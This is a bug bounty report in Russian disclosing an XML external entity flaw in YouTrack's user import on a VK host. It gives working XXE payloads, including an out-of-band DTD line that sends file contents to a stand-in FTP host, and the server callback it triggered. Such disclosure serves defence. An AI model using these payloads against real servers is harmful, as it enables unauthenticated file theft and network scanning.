VK.com · Report #114476
Внедрение внешних сущностей в функционале импорта пользователей YouTrack
How it was found
Уязвимость существует из-за возможности использования внешних сущностей XML разметки в функционале импорта пользователей YouTrack. Веб-приложение доступно по адресу youtrack.vk-cdn.net Исходя из документации (https://confluence.jetbrains.com/display/YTD6/Import+Users) поддерживает импорт данных методом PUT в формате XML. Стандарт XML-документа поддерживает включение секции DTD, а секции DTD, в свою очередь могут подключать к документу дополнительные компоненты, так называемые внешние сущности. Внешние сущности являются отдельными файлами и задаются с помощью ключевого слова SYSTEM и URI. Если XML-парсер невалидирующий, он может просто загрузить внешнюю сущность и подключить к содержимому XML-документа. Злоумышленник может подставить в URI внешней сущности file URI, указывающий на аппаратное устройство ЭВМ, или на локальный файл в системе. Сервер попытается прочитать файл по указанному URI и включить его содержимое в XML. Минимальный запрос будет выглядить следующим образом:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<list>
<user login="lenin" fullName="Ulyanov Vladimir Ilyich" email="[email protected]"/>
</list>
Но для добавления пользователя необходимо иметь учетную запись и быть администратором системы. Однако, внедрив внешнюю сущность, XML-данные пройдут валидацию, и запрос будет выполнен, несмотря на предупреждение об отсутствии аутентификации. Пример XML-запроса представлен ниже:
<?xml version="1.0"?>
<!DOCTYPE list [
<!ENTITY % xxe SYSTEM "http://myserver/xxe-test">
%xxe;
]>
<list></list>
В этом случае, сервер получит GET-запрос
GET /xxe-test HTTP/1.1
HOST: myserver
USER_AGENT: Java/1.8.0_45
ACCEPT: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
CONNECTION: keep-alive
Источник запроса:
IP: 87.240.169.26
HOSTNAME: srv26-169-240-87.vk.com
что свидетельствует уязвимости.
Внедрив вместо http://myserver/xxe-test собственную секцию DTD, с подобным содержимым
<!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://myhost:1935/%b;'>">%c;
мы получим возможность отправлять содержимое файлов с помощью протокола FTP (исследование компании OnSec http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html) Так как веб-приложение работает на языке Java (о чем говорит заголовок user-agent), мы так же можем получать содержимое директорий из-за особенностей работы Java.
При использовании такого механизма возможны такие виды атак, как например, как отказ в обслуживании (DoS) как сам сервер, так и другие системы, чтение произвольных файлов, сканирование TCP-портов (даже в обход фаервола), кража материалов NTLM-аутентификации, инициированная через UNC-обращение к системе, находящейся под контролем злоумышленника и т.п.
Эксплуатация в целях демонстрации доступна по следующей ссылке: https://youtu.be/0gMTwPU-BQc
Данная уязвимость имеет статус 0day, разработчики продукта YouTrack (компания Jetbrains) получит соответствующие уведомления.